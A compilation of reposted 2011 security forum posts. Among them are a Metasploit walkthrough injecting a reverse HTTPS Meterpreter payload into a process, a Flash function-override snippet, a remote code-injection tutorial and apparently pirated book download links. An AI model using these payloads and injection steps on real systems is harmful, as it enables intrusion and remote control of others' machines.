ExternalInterface.addCallback), since by default, Flash only allows movies hosted in the same domain to call callback methods of a movie (this is what we do in Shindig for example), but besides that it's not so simple. Some insecure methods exist and are widely used to know the hosting page, such as calling: ExternalInterface.call("window.location.toString") There are some variations of that code, such as calling window.location.href.toString, which is also simple to bypass by rewriting the String.toString method, and works on all browsers. It's futile to try to "protect" those scripts, because of the way Flash handles ExternalInterface, it's possible to modify every single call made by the plugin, since when you call ExternalInterface.call, what really happens is that the plugin injects a script to the window with: ExecScript('try { __flash__toXML(' + yourCode + ') ; } catch (e) { "<undefined;>"; }'); And, __flash__toXML is a global function injected by Flash, which can be modified to return whatever we want. (function(){ var o; window.__flash__toXML = function () { return o("potato") }; window.__defineSetter__("__flash__toXML", function(x) {o = x;}); })(); It's worth noting that Flash also bases some of it's security decisions on the value of window.location (such as, if a movie is allowed to be scripted from a website or not), and while this check is more difficult to tamper (and browsers actively fix it), it's still possible to do it, and it's even easier on other browsers such as Safari (in Mac OS) where you can just replace the function "__flash_getWindowLocation" and "__flash_getTopLocation". Luckily, it seems like we might be able to get at least the right Origin in future versions of Flash, as Mozilla is proposing a new NPAPI call just for this. Let's just hope that Adobe makes this available to the SWF application via some API. What FB should have done is namespace the channel names, and use some other way of verifying the page embedding the SWF (like easyXDM or Shindig does). It is also possible for an attacker to specify what transport it wishes to use, so we might be able to force a page to use the Flash transport even when it might also support postMessage. postMessage should be used cautiously There's one last thing I found. Facebook has a file which seems to allow an attacker to forge (postMessage) messages as coming from https://www.facebook.com/ into another page that allows framing arbitrary pages. The Proof of Concept is located at http://r.i.elhacker.net/fbpwn As you can see the page will allow an attacker to send messages and will also allow the attacker to specify the target origin. The attack seems to be hard to do since the "parent" seems to be hard coded. So this is FAIL #3. This is a good demonstration why the existing implementation of postMessage is fundamentally broken, it's really easy for two different scripts to interfere with each other. I can't actually blame FB for that, it's more like a design problem in postMessage. Luckily there's a new mechanism to use postMessage (called channel messaging), which partly solves this problem (or at least makes it harder to happen). You can read more about it here: 10 Communication — HTML Standard Random fact.. This is what Chrome uses internally to communicate with other components like the Web Inspector. Vendor Response I reported these issues from https://www.facebook.com/whitehat on Tuesday Aug 16 2011 at 2 PM (PST), with the draft of this blogpost, and got a human acknowledgement at 7PM. The issue was finally fixed on December 15 2011. Conclusion So well, this was my first post of 2011 (it's December!), and I actually made it because there was a few "de facto" knowledge about Flash that I wanted to put in writing somewhere, and because I had a look at Facebook regarding something not strictly related to work! In general I am impressed on the security of Facebook applications. While doing this I got locked out of my account like 5 or 6 times (maybe they detected strange behavior?), I noticed several security protections in their API (api.facebook.com/graph.facebook.com), and they actually do protect against other security vulnerabilities that most websites don't know about (such as ExternalInterface.call escaping bugs, content type sniffing, etc). I was awarded a $2,500.00 USD bounty for this report (not sure how it was calculated), and I'm considering donating it to charity (it can become 5k!). Any suggestions? Posted by sirdarckcat at 9:06 PM Sursa: sirdarckcat: Doing Cross Page Communication Correctly
  11. [h=3]The Linux Programming Interface[/h] The Linux Programming Interface is the definitive guide to the Linux and UNIX programming interface—the interface employed by nearly every application that runs on a Linux or UNIX system. In this authoritative work, Linux programming expert Michael Kerrisk provides detailed descriptions of the system calls and library functions that you need in order to master the craft of system programming, and accompanies his explanations with clear, complete example programs. You'll find descriptions of over 500 system calls and library functions, and more than 200 example programs, 88 tables, and 115 diagrams. You'll learn how to: Read and write files efficiently Use signals, clocks, and timers Create processes and execute programs rite secure programs Write multithreaded programs using POSIX threads Build and use shared libraries Perform interprocess communication using pipes, message queues, shared memory, and semaphores Write network applications with the sockets API Download: http://www.megaupload.com/?d=DXRGN8AA Sursa: The Linux Programming Interface | Linux Ubuntu - Linux Books - Linux Programming Languages
  12. [h=3]Linux File Systems: Ext2 vs Ext3 vs Ext4[/h] This article explains the following: High level difference between these filesystems. How to create these filesystems. How to convert from one filesystem type to another. Ext2 stands for second extended file system. It was introduced in 1993. Developed by Rémy Card. This was developed to overcome the limitation of the original ext file system. Ext2 does not have journaling feature. On flash drives, usb drives, ext2 is recommended, as it doesn’t need to do the over head of journaling. Maximum individual file size can be from 16 GB to 2 TB Overall ext2 file system size can be from 2 TB to 32 TB Ext3 stands for third extended file system. It was introduced in 2001. Developed by Stephen Tweedie. Starting from Linux Kernel 2.4.15 ext3 was available. The main benefit of ext3 is that it allows journaling. Journaling has a dedicated area in the file system, where all the changes are tracked. When the system crashes, the possibility of file system corruption is less because of journaling. Maximum individual file size can be from 16 GB to 2 TB Overall ext3 file system size can be from 2 TB to 32 TB There are three types of journaling available in ext3 file system. Journal – Metadata and content are saved in the journal. Ordered – Only metadata is saved in the journal. Metadata are journaled only after writing the content to disk. This is the default. Writeback – Only metadata is saved in the journal. Metadata might be journaled either before or after the content is written to the disk. You can convert a ext2 file system to ext3 file system directly (without backup/restore). Ext4 stands for fourth extended file system. It was introduced in 2008. Starting from Linux Kernel 2.6.19 ext4 was available. Supports huge individual file size and overall file system size. Maximum individual file size can be from 16 GB to 16 TB Overall maximum ext3 file system size is 1 EB (exabyte). 1 EB = 1024 PB (petabyte). 1 PB = 1024 TB (terabyte). Directory can contain a maximum of 64,000 subdirectories (as opposed to 32,000 in ext3) You can also mount an existing ext3 fs as ext4 fs (without having to upgrade it). Several other new features are introduced in ext4: multiblock allocation, delayed allocation, journal checksum. fast fsck, etc. All you need to know is that these new features have improved the performance and reliability of the filesystem when compared to ext3. In ext4, you also have the option of turning the journaling feature “off”. Sursa: Linux File Systems: Ext2 vs Ext3 vs Ext4 | Linux Articles - Linux Ubuntu
  13. INJECTING PAYLOADS INTO MEMORY METERPRETER By Carlos Perez on December 16, 2011 3:07 PM Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of: Injecting a Windows Payload in to 32bit and 64bit Processes. Check that both the payload and the process are of the same architecture. Start a temporary process with the appropriate architecture. Be able to provide a flexible option list since different payloads have different options. So payload_inject was born in a flight from Kentucky to Puerto Rico. Lets start by looking at the module and it's options from inside a Meterpreter session: msf post(persistence) > sessions -i 2 [*] Starting interaction with 2... meterpreter > info post/windows/manage/payload_inject Name: Windows Manage Memory Payload Injection Module Module: post/windows/manage/payload_inject Version: 14039 Platform: Windows Arch: Rank: Normal Provided by: Carlos Perez <carlos_perez@darkoperator.com> Description: This module will inject into the memory of a process a specified windows payload. If a payload or process is not provided one will be created by default using a reverse x86 TCP Meterpreter Payload. Module options (post/windows/manage/payload_inject): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER false no Start an Exploit Multi Handler to receive the connection LHOST yes IP of host that will receive the connection from the payload. LPORT 4433 no Port for Payload to connect to. OPTIONS no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to inject into memory of a process. PID no Process Identifier to inject of process to inject payload. SESSION yes The session to run this module on. Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell: meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=192.168.1.100,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384' [*] Running module against WIN701 [*] Starting exploit multi handler [*] Performing Architecture Check [*] Started HTTPS reverse handler on https://192.168.1.100:3334/ [*] Starting the payload handler... [*] Process found checking Architecture [+] Process is the same architecture as the payload [*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384 [*] Opening process 3384 [*] Generating payload [*] Allocating memory in process 3384 [*] Allocated memory at address 0x006e0000, for 369 byte stager [*] Writing the stager into memory... [+] Successfully injected payload in to process: 3384 meterpreter > [*] 192.168.1.138:37854 Request received for /INITM... [*] 192.168.1.138:37854 Staging connection for target /INITM received... [*] Patched transport at offset 486516... [*] Patched URL at offset 486248... [*] Patched Expiration Timeout at offset 641856... [*] Patched Communication Timeout at offset 641860... [*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:37854) at 2011-10-28 17:47:46 -0400 One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener: meterpreter > background msf post(persistence) > sessions -i 7 [*] Starting interaction with 7... meterpreter > detach [*] Meterpreter session 7 closed. Reason: User exit msf post(persistence) > [*] 192.168.1.138:48859 Request received for /CONN_bPXZiVo1IOWy8xFv/... [*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching... [*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:48859) at 2011-10-28 17:55:12 -0400 We can do the same with any Windows compatible payload. I hope you find the module useful. Sursa: http://pauldotcom.com/2011/12/injecting-payloads-into-memory.html
  14. Rubber-Ducking: Elliptic Curve Cryptography There’s a time-honored debugging method known as “Rubber Duck Debugging” in which one explains a process to others, or sometimes even to an inanimate object. The goal isn’t to get comments or notes during the explanation, but rather to come to a better understanding of the subject (or to find bugs) solely via the act of explaining itself. It’s pretty effective at a lot of things. This is the first in what I expect to be a long series of “Rubber-Ducking” posts in which I attempt to grasp a concept better by explaining it to you, a random reader somewhere on the internet. When reading these articles keep in mind that I’m explicitly stating right there in the title that I’m not an expert on the subject matter. If you know something that I don’t, if you’ve spotted a mistake in the article, point it out in the comments and I’ll revise it. Unlike many of my other articles, all of my corrections in Rubber-Ducking articles will be in strikethrough and my additions will be underlined so as to preserve the process for myself and future readers. Without further ado, let’s tackle our first project, shall we? The subject of this first post is elliptic curve cryptography (ECC). I’m not going to delve into specific implementations like ECDSA, just the basic underlying concepts. The Wikipedia article I linked to above is a good rundown of the math, but ECC is a geometrically-based concept and I find it much easier to grasp such concepts visually. Why the good folks at Wikipedia chose not to include any graphs or diagrams, I’ll never know. ECC begins with a simple equation in the form y²=x³+ax+b where x, y, a and b are real numbers. Different values of a and b yields a different elliptic curve. The equation y²=x³-5x+7 yields the following curve, for example: It should be noted that certain values of a and b create curves which are not well-suited for use in ECC. If x³+ax+b contains no repeated factors (or equivalently, if 4a³+27b²?0) then it should be valid. The equation defines a group of points, all real numbers, which satisfy the equation. There is also a special point O called the “point at infinity” which is included in ECC sets to satisfy a couple of edge cases. Once we’ve defined our curve, there are a few interesting things we can do with points on the curve. For example, we can select any two points P and Q which fall along the curve and add them to find a third point, R. For all values of P and Q, there is a P+Q=R which falls on the curve. Here’s how the addition works, geometrically speaking: It’s relatively simple: Draw a line intersecting both P and Q. For all P and Q there will be one (and only one) additional point at which the line intersects the curve. This is -R. To find R we simply mirror -R on the y-axis since, for all values of -R there should be one (and only one) value of R. It’s worth noting that we have a valid reason for this -R and R y-axis mirroring nonsense: If we didn’t do this then P+Q=R would define a point R which, when added to P would create Q again. We wouldn’t move about the curve at all when performing such addition, just define a few interesting points. Now this is all interesting and useful, but in order to build a useful cryptosystem we need a hard mathematical problem that is sufficiently difficult to solve (with current technology) as to be, for all practical purposes, impossible. Scalar addition such as P+Q=R oesn’t seem to be such a problem. So what else can we do with such an elliptic curve group? Let’s have a look at point-doubling… Here we’ve taken a point P and drawn a tangent line through it. Such a tangent line will intersect the curve at one additional point, -R which we then mirror along the y-axis to find R. In this case we’re looking at a diagram for P+P=2P=R. From this point we can use our first method to continue adding P to itself: 2P+P=3P, 3P+P=4P and so on. Now my instincts tell me we’re on to something here, but I’ve also got to admit that I’m having somewhat of a reality-check: computers are very bad at working with real numbers. We’ve got to make this work with integers somehow… Let’s look at our original equation: y²=x³+ax+b for a moment. Now this defines a very large (infinite, actually) set of points, but we don’t want points which aren’t integers. Instinct tells me that this is a good case for the modulo operation. As it happens, instinct is right again. y² mod p = x³ + ax + b mod p yields a field of size p with finitely many inter points and any operation on said points also result in integer points. The field F23, (p=23) for example will yield a functional field of 0 to 23 on both the x and y axis and contains p-1=22 points which satisfy the elliptic curve equation – and here they are: Note that we’ve lost all semblance of the original curvatures, but that there is still symmetry along the y-axis at the point p/2=11.5. Since our nice clean geometric procedures are irrevocably destroyed in this set, now would be the time to break out the equations which describe the lines and points we were drawing earlier. P+Q=R where: and 2P=R where: This is the point that most ECC documents start at: a big long list of equations. In this case, I find it’s much easier to grasp the equations if you first grasp the geometry so hopefully you were prepared for that jumbled pile of math better than I was the first time I read it… Now at this point we’ve got a collection of strange, though symmetrical, points across a field of size F23 and a series of equations describing the rules for scalar multiplication (finding nP for a given P). ECC is based on the intractability of scalar multiplication products. Imagine that we’re still working in the field (F23) we defined above and I give you two pieces of information: two points, R and Q. I ask you to find a value n for which R=nQ mod p. This is called the Elliptic Curve Discrete Logarithm Problem (ECDLP) and it’s every bit as difficult to solve as the other discrete logarithm problem. Of course we can brute-force ECC like anything else and even worse, nP will eventually circle back to the original P and form a big loop, so it wouldn’t be hard to solve our F23 example; we’d just make a value of every possible nP until nP=P again. In reality, however, F23 is an extremely small field. In practice field sizes would be more like 2128 or 2256 and as such highly resilient to brute force. The most efficient algorithms for solving the ECDLP run in O(?n) time, where factorization runs in O(exp((64/9) ^1/3(log ^2/3) time (for a b-bit number) so ECC should be much more difficult to solve at a given key size than integer-factorization or finite-field cryptography which can be solved much more efficiently. It’s also worthy of note than fields over F2m (binary fields) with non-prime m are vulnerable to Weil descent attacks [PDF warning] so best practice is to keep the field size prime. There’s one more thing I forgot to mention: our special “point at infinity” O. O comes into play in a scenario like this one: In this case our point P is on the x-axis (yP=0) and so its tangent line is vertical. Such a line will never intersect with any other point on the curve, so in this case 2P=O. O is also the answer to a P+Q problem where xP=xQ, thus making the line PQ perfectly vertical. Wherever possible, such points should be avoided since if 2P=O then 3P=P, 4P=O, 5P=P and so on – not the makings of a very secure cryptosystem… So there you have it, the basics of elliptic curve cryptography. For the specifics of implementation, well you’ll have to either ask someone else or wait until I get around to rubber-ducking ECDSA. I will note that several DLP-based protocols have been adapted to ECDLP by replacing the group Zp with an elliptic curve, so there should be no shortage of study material out there. Hopefully you learned as much as I did (and believe me I learned a lot – this article has taken days to complete) and hopefully I haven’t made any grievous errors or omissions. If you spot one, point it out in the comments and it’ll be fixed ASAP. Thanks, and happy rubber-ducking to you all! Sursa: Rubber-Ducking: Elliptic Curve Cryptography
  15. The Mole - Another Automatic SQL Injection exploitation tool The Mole is an automatic SQL Injection exploitation tool. Only by providing a vulnerable URL and a valid string on the site it can detect the injection and exploit it, either by using the union technique or a boolean query based technique. Features Support for injections using Mysql, SQL Server, Postgres and Oracle databases. Command line interface. Different commands trigger different actions. Auto-completion for commands, command arguments and database, table and columns names. Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily. Exploits SQL Injections through GET and POST methods. Developed in python 3. Video Demonstration: 1.) Installation Guide 2.) Tutorial to Use 3.) Download Mole Download: http://themole.sourceforge.net/?q=downloads Sursa: The Mole - Another Automatic SQL Injection exploitation tool | The Hacker News (THN)
  16. Denial of Service Attack Vulnerability in Windows Phone 7.5 Microsoft's range of Windows Phones suffer from a denial-of-service attack bug that allows attackers to reboot the device and disable the messaging functionality on a device. A malicious SMS sent to a Windows Phone 7.5 device will force it to reboot and lock down the messaging hub . WinRumors reader Khaled Salameh discovered the flaw and reported it to us on Monday. WinRumors said tests revealed that the flaw affected a variety of devices running different builds of the mobile operating system. A Facebook chat message and Windows Live Messenger message will also trigger the bug. Video Demonstration Both Apple and Google have suffered from SMS bugs with their iOS and Android devices. Security researcher Charlie Miller discovered a flaw in the iOS 3.0 software that allowed attackers complete control over an iPhone at the time. Android-based phones also suffered in the SMS attack, but attackers could only knock a phone offline rather than gain full access. Microsoft representatives did not immediately respond to a request for comment, but WinRumors says it is working with the tipster to privately reveal the flaw to Microsoft. Sursa: Windows Phone 7.5 Denial of Service Attack Vulnerability (Video Demonstration) | The Hacker News (THN)
  17. Apple Crash Reports Help Hackers to create a jailbreak exploit iPhone "jailbreaking" has been a hot topic since Apple released its smartphone more than two years ago. According to the Latest report posted by BBC that Thousands of iPhone owners have joined forces with a team of hackers to help them find new ways to jailbreak Apple's phone software & Jailbreakers use Apple crash reports to unlock iPhones. You may be wondering and hearing alot on “What Is Jailbreaking an Iphone? How do you do that?” Jailbreaking is basically modifying the iPhone’s firmware so that you can get access to the internals of its operating system and install a whole slew of third-party applications on your iPhone that are not otherwise available through official channels.Jailbreaking your iPhone in and of itself doesn’t normally make much difference in your operation of it, but it does allow you to install other third-party applications that are not blessed by Apple. A collective of hackers known as the iPhone Dev-Team publishes easy-to-use, cross-platform tools that allow you to install third-party apps on your iPhone that Apple won't admit into its App Store. The latest version of the iPhone's operating system is proving to be extremely hard to jailbreak fully, according to Joshua Hill, a member of the Chronic Dev hacker team."Apple is really making it tough for us. The iPhone is now better protected than most nuclear missile facilities," he says. Jailbreaking your iOS device also enables you to change your phone’s behavior and even add some nifty extra features. One such feature that Apple prohibited was FaceTime or any demanding data tasks over 3G. How Hackers Develop a Jailbreak application ? Well, Hackers like Mr Hill hunt for programming errors, or bugs, in Apple's software. Bugs may result in a program crashing or shutting down, and they are like gold dust to hackers because sometimes they can be exploited to create a jailbreak. Hackers may have to crash a particular program thousands of times as they work out how to exploit a bug successfully, but this alerts Apple that the bug exists and that hackers may be investigating it. Phone manufacturers don’t want you to do it because of the small number of cases in which it can make the phone unstable or open it up to security breaches. It then makes them look bad because it’s their phone that’s crashing or introducing malware to your network. But Users Hate hate it even more because it can cost them money. They even go so far as to cripple features that the phone makers build in, so they can charge you an extra fee for the same service. One example is Wi-Fi hotspot capability, for which carriers charge up to $30 per month when you can do the same thing on a rooted phone with no extra fees using a free or low, one-time-cost app. Some carriers also don’t want you running apps like Skype to make phone calls instead of using expensive cellular voice minutes. Chronic Dev is ready to turn this little information battle into an all-out, no-holds-barred information WAR. A program called CDevreporter that iPhone users can download to their PC or Mac. The program intercepts crash reports from their phones destined for Apple and sends them to the Chronic Dev team. "In the first couple of days after we released CDevreporter we received about twelve million crash reports," he says. "I can open up a crash report and pretty much tell if it will be useful or not for developing a jailbreak, but we have so many that I am working on an automated system to help me analyse them." Is Jailbreaking Legal ? In July,2010 The United States government announced that jailbreaking and unlocking iPhones, rooting of Android phones and ripping DVDs (for educational purposes) is completely legal as long as they are not violating copyright law. It is also apparently not illegal to jailbreak devices in the UK, although it does invalidate product warranties, according to Simon Halberstam, technology law expert and partner at Kingsley Napley. Apple tries to prevent jailbreaking for security reasons once a phone has been jailbroken users could unwittingly install malware that might not get past Apple's approval process. Mr Hill rejects this argument: "I am trying to make sure that my phone is safe and your phone is safe. Apple cares about money, not your safety." As yet the Chronic Dev team has not announced that it has found any bugs that it can exploit, but a member of the team called pod2g claims to have found a way to create an untethered jailbreak anyway. Even if Apple fixes the bug that makes this jailbreak possible, Mr Hill is confident that the hackers will find more ways. Sursa: Apple Crash Reports Help Hackers to create a jailbreak exploit | The Hacker News (THN)
  18. Iranian engineer hijack U.S. drone by GPS hack An Iranian engineer working on the captured US drone has said that Iran exploited a weakness in the craft’s navigation system to hijack it. The aircraft was downed through a relatively unsophisticated cyber-attack that tricked its global positioning systems (GPS). The technique, known as “GPS spoofing” has been around for several years, and the Iranians began studying it in 2007, the engineer reportedly said. The U.S. Department of Energy notes that GPS is widely used, but insecure, although few users have taken note. GPS signals for the U.S. military are similarly insecure, and drones often rely on signals from multiple satellites. It’s possible to spoof unencrypted civilian GPS systems. But military GPS receivers, such as the one likely installed on the missing drone, use the encrypted P(Y)-code to communicate with satellites. “With spoofing, an adversary provides fake GPS signals. This convinces the GPS receiver that it is located in the wrong place and/or time,” the vulnerability assessment team at Argonne National Laboratory explained. “Remarkably, spoofing can be accomplished without having much knowledge about electronics, computers, or GPS itself.” Other drone vulnerabilities have also highlighted security fears. In October, Danger Room broke the news that the cockpits at the Air Force’s drone fleet based out of Creech Air Force Base in Nevada were infected with a virus. Malware had apparently made its way onto computers because someone had been using one to play the Mafia Wars game a stunning security faux pas. The RQ-170 Sentinel has been seen on display by Iran's gloating military after it went missing along the Afghan-Iran border earlier this month - but a former Pentagon official said it seems to be a fake. However the engineer working on the CIA drone’s system told the Christian Science Monitor that his country fooled the aircraft into touching down in Iran - instead of its programmed destination.The engineer claimed the electronic attack made it 'land on its own where we wanted it to, without having to crack the remote-control signals and communications' from the U.S. control centre. The drone was used for covert surveillance such as the operation to spy on the Pakistan compound of Osama Bin Laden before he was killed in a U.S. raid in May.Iranian officials have said the drone came down over eastern Iran, hundreds of miles from the cluster of nuclear sites in the central and north-west of the country.They believe they can 'mass produce' the captured drone by 'reverse engineering' the aircraft. Sursa: Iranian engineer hijack U.S. drone by GPS hack [Video Explanation] | The Hacker News (THN)
  19. [h=3]Executable Code Injection the Interesting Way[/h][h=2]Friday, December 16, 2011[/h] So. Executable code injection. In general, this term is associated with malicious intent. It is true in many cases, but in, at least, as many, it is not. Being malware researcher for the most of my career, I can assure you, that this technique appears to be very useful when researching malicious software, as it allows (in most cases) to defeat its protection and gather much of the needed information. Although, it is highly recommended not to use such approach, sometimes it is simply unavoidable. There are several ways to perform code injection. Let's take a look at them. DLL Injection The most simple way to inject a DLL into another process is to create a remote thread in the context of that process by passing the address of the LoadLibrary API as a ThreadProc. However, it appears to be unreliable in modern versions of Windows due to the address randomization (which is currently not true, but who knows, may be once it becomes real randomization). Another way, a bit more complicated, implies a shell code to be injected into the address space of another process and launched as a remote thread. This method offers more flexibility and is described here. Manual DLL Mapping Unfortunately, it has become fashionable to give new fancy names to the old good techniques. Manual DLL Mapping is nothing more than a complicated code injection. Why complicated, you may ask - because it involves implementation of custom PE loader, which should be able to resolve relocations. Adhering the Occam's Razor principle, I take the responsibility to claim, that it is much easier and makes more sense to simply allocate memory in another process using VirtualAllocEx API and inject the position independent shell code. Simple Code Injection As the title of this section states, this is the simplest way. Allocate a couple of memory blocks in the address space of the remote process using VirtualAllocEx (one for code and one for data), copy your shell code and its data into those blocks and launch it as a remote thread. All the methods listed above are covered well on the Internet. You may just google for "code injection" and you will get thousands of well written tutorials and articles. My intention is to describe a more complex, but also a more interesting way of code injection (in a hope that you have nothing else to do but try to implement this). Before we start: Another note for nerds. The code in this article does not contain any security checks unless it is needed as an example. This is not malware writing tutorial, so I do not care whether the AV alerts when you try to use this method. No, manual DLL mapping is not better ;-). Neither do I care about how stable this solution is. If you decide to implement this, you will be doing it at your own risk. Now, let's have some fun. Disk vs Memory Layout Before we proceed with the explanation, let's take a look at the PE file layout, whether on disk or in memory, as our solution relies on that. This layout is logically identical for both PE files on disk and PE files in memory. The only differences are that some parts may not be present in memory and, the most important for us, on disk items are aligned by "File Alignment" while in memory they are aligned by "Page Alignment" values, which, in turn may be found in the Optional Header. For full PE COFF format reference check here. Right now, we are particularly interested in sections that contain executable code ((SectionHeader.characteristics & 0x20000020) != 0). Usually, the actual code does not fill the whole section, leaving some parts simply padded by zeros. For example, if our code section only contains 'ExitProcess(0)', which may be compiled into 8 bytes, it will still occupy FileAlignment bytes on disk (usually 0x200 bytes). It will take even more space in memory, as the next section may not be mapped closer than this_section_virtual_address + PageAlignement (in this particular case), which means that if we have 0x1F8 free bytes when the file is on disk, we'll have 0xFF8 free bytes when the file is loaded in memory. The "formula" to calculate available space in code section is next_section_virtual_address - (this_section_virtual_address + this_section_virtual_size) as virtual size is (usually) the amount of actual data in section. Remember this, as that is the space that we are going to use as our injection target. It may happen, that the target executable does not have enough spare space for our shell code, but let this not bother you too much. A process contains more than one module (the main executable and all the DLLs). This means that you can look for spare space in the code sections of all modules. Why only code sections? Just in order not to mess too much with memory protection. Shellcode The first and the most important rule for shellcode - it MUST be position independent. In our case, this rule is especially unavoidable (if you may say so) as it is going to be spread all over the memory space (depends on the size of your shell code, of course). The second, but not less important rule - carefully plan your code according to your needs. The less space it takes, the easier the injection process would be. Let's keep our shell code simple. All it would do is interception of a single API (does not matter which one, select whichever you want from the target executable's import section), and show a message box each time that API is called (you should probably select ExitProcess for interception if you do not want the message box popping up all the time). Divide your shellcode into independent functional blocks. By independent, I mean that it should not have any direct or relative calls or jumps. Each block should have one data field, which would contain the address of the table containing addresses of all our functions (and data if needed). Such mechanism would allow us to spread the code all over the available space in different modules without the need to mess with relocations at all. The picture on the left and the diagram below will help you to better understand the concept. Init - our initialization function. Once the code is injected, you would want to call this function as a remote thread. Patch - this block is responsible for actually patching the import table with the address of our Fake. The code in each of the above blocks will have to access Data in order to retrieve addresses of functions from other blocks. Your initialization procedure would have to locate the KERNEL32.DLL in memory in order to obtain the addresses of LoadLibrary (yes, it would be better to use LoadLibrary rather then GetModuleHandle), GetProcAddress and VirtualProtect API functions which are crucial even for such a simple task as patching one API call. Those addresses would be stored in Data. The Injector While the shellcode is pretty trivial (at least in this particular case), the injector is not. It will not allocate memory in the address space of another process (if possible, of course). Instead, it will parse the the PEB (Process Environment Block) of the victim in order to get the list of loaded modules. Once that is done, it will parse section headers of every module in order to create list of available memory locations (remember, we prefer code sections only) and fill the Data block with appropriate addresses. Let's take a look at each step. First of all, it may be a good idea to suspend the process by calling SuspendThread function on each of its threads. You may want to read this post about threads enumeration. One more thing to remember is to open the victim process with the following flags: PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_SUSPEND_RESUME in order to be able to perform all the following operations. The function itself is quite simple: DWORD WINAPI SuspendThread(__in HANDLE hThread); Don't forget to resume all threads with ResumeThread once the injection is done. The next step would be calling the NtQueryInformationProcess function from the ntdll.dll. The only problem with it is that it has no associated import library and you will have to locate it with GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"), unless you have a way to explicitly specify it in the import table of your injector. Also, try LoadLibrary if the GetModuleHandle does not work for you. NTSTATUS WINAPI NtQueryInformationProcess( __in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, /* Use 0 in order to get the PEB address */ __out PVOID ProcessInformation, /* Pointer to the PROCESS_BASIC_INFORMATION structure */ __in ULONG ProcessInformationLength, /* Size of the PROCESS_BASIC_INFORMATION structure in bytes */ __out_opt PULONG ReturnLength ); typedef struct _PROCESS_BASIC_INFORMATION { PVOID ExitStatus; PPEB PebBaseAddress; PVOID AffinityMask; PVOID BasePriority; ULONG_PTR UniqueProcessId; PVOID InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; The NtQueryInformationProces will provide you with the address of the PEB of the victim process. This post will explain you how to deal with PEB content. Of course, you will not be able to access the that content directly (as it is in the address space of another process), so you will have to use WriteProcessMemory and ReadProcessMemory functions for that. BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, /* Address in another process */ __in LPCVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesWritten }; BOOL WINAPI ReadProcessMemory( __in HANDLE hProcess, __in LPCVOID lpBaseAddress, /* Address in another process */ __out LPVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesRead }; Due to the fact that you are going to deal with read only memory locations, you should call VirtualProtectEx in order to make those locations writable (PAGE_EXECUTE_READWRITE). Don't forget to restore memory access permissions to PAGE_EXECUTE_READ when you are done. BOOL WINAPI VirtualProtectEx( __in HANDLE hProcess, __in LPVOID lpAddress, /* Address in another process */ __in SIZE_T dwSize, /* Size of the range in bytes */ __in DWORD flNewProtect, /* New protection */ __out PDWORD lpflOldProtect }; You may also want to change the VirtualSize of those sections of the victim process you used for injection in order to cover the injected code. Just adjust it in the headers in memory. That's all folks. Let me leave the hardest part (writing the code) up to you this time. Hope this post was interesting and see you at the next. Posted by Alexey Lyashko at 12:50 AM Sursa: System Programming: Executable Code Injection the Interesting Way
  20. Exploit firewire access against MAC OS X In my last paper [HACKMACOSX], I wrote a python script based on "libforensic1394" libraires to extract physical memory through firewire access. This shows you an exploitation of this script in a real scenario ... http://vimeo.com/33419578 Also, you can download this video :.avi / .m4v Download > HackMacOSX-TipsNTricks-1.1.pdf EN> The objective of this document is to present a variety of fun tricks (but not necessarily an exhaustive list) to compromise the Apple Mac OS X system. I plan to update this document following further research and the publication of subsequent new tricks concerning the Mac OS X. Please be indulgent, I’m not a security researcher and this paper was written in a few hours. In the current version (1.1), I included the recommendations to avoid the presented hacks in this paper. Sursa: Blog de Sud0man
  21. Understanding The Linux Kernel, 3rd Edition Understanding The Linux Kernel, 3rd Edition (2005).chm 2.77 MB File description: Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system. Download: http://www.megaupload.com/?d=DQZZSA7X
  22. Cand am timp postez lucrurile mai interesante de pe forum (nu toate porcariile) si pe pagina Facebook. Dati Like daca va place sau daca aveti prieteni interesati de asa ceva recomandati-le pagina.
  23. Are backup la zi, dar nu asta era problema. Datele erau in baza de date, doar ca nu mai corespundea forumid-ul. Practic a disparut decat linia categoriei "Ajutor" din tabelul cu forumuri, dar toate topicurile erau la locul lor.
  24. Acum ceva timp, din cauza unor probleme tehnice, am pierdut in totalitate categoria "Ajutor", si am creat una temporara. Mi-am adus azi aminte de acest aspect si am incercat sa vad daca se poate face ceva. Pana acum 5 minute categoria si statisticile aratau asa: Dar am rulat 2 query-uri SQL si am ajuns la: Deci s-au recuperat cam 5000+ de topicuri si 30000+ posturi. Nu e foarte important, dar da bine la statistici.
×
×
  • Create New...